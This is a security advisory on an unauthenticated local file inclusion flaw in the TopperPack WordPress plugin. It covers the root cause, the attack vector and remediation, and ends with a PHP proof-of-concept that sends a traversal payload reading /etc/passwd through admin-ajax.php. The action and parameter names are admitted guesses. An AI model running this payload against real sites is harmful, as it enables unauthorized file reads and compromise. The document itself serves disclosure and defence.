Atomic Edge analysis of CVE-2025-68841 (metadata-based):
This vulnerability is an unauthenticated Local File Inclusion (LFI) in the TopperPack WordPress plugin, affecting versions up to and including 1.2.1. The flaw allows remote attackers to include arbitrary local files, potentially leading to remote code execution.
Atomic Edge research infers the root cause is improper sanitization of user-controlled input used in PHP file inclusion functions like `include()` or `require()`. The CWE-98 classification confirms the plugin uses a filename parameter influenced by an attacker without proper validation. This conclusion is inferred from the CWE and description, as no source code diff is available for confirmation.
Exploitation likely involves sending a crafted HTTP request to a plugin-specific endpoint. Attackers can target an AJAX handler or a direct plugin file. A payload would manipulate a parameter, such as `file` or `template`, to traverse directories and include local files like `/etc/passwd` or previously uploaded PHP shells. For WordPress, a common vector is `/wp-admin/admin-ajax.php` with an `action` parameter containing the plugin’s hook prefix.
Effective remediation requires implementing strict validation on user-supplied file paths. The fix should restrict included files to an allowlist of expected values. Path traversal characters must be filtered. The plugin should also enforce authentication and capability checks on any file inclusion functionality.
Successful exploitation grants attackers the ability to read sensitive server files, bypass authentication, and execute arbitrary PHP code. This leads to complete site compromise, data theft, and server-side remote code execution. The CVSS score of 8.1 reflects high impacts on confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
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// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68841 - TopperPack – Complete Elementor Addons, Theme & CPT Builder <= 1.2.1 - Unauthenticated Local File Inclusion
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
// Assumption: The plugin registers an AJAX action hook without a capability check.
// The hook name likely incorporates the plugin slug 'topper_pack'.
// The vulnerable parameter is assumed to be 'file' or 'template'.
$post_data = array(
'action' => 'topper_pack_action', // This exact action name is inferred and may vary.
'file' => '../../../../../../etc/passwd' // Classic LFI payload for directory traversal.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'root:') !== false) {
echo "Vulnerable: File inclusion successful.n";
} else {
echo "Target may not be vulnerable or payload was blocked.n";
}
?>
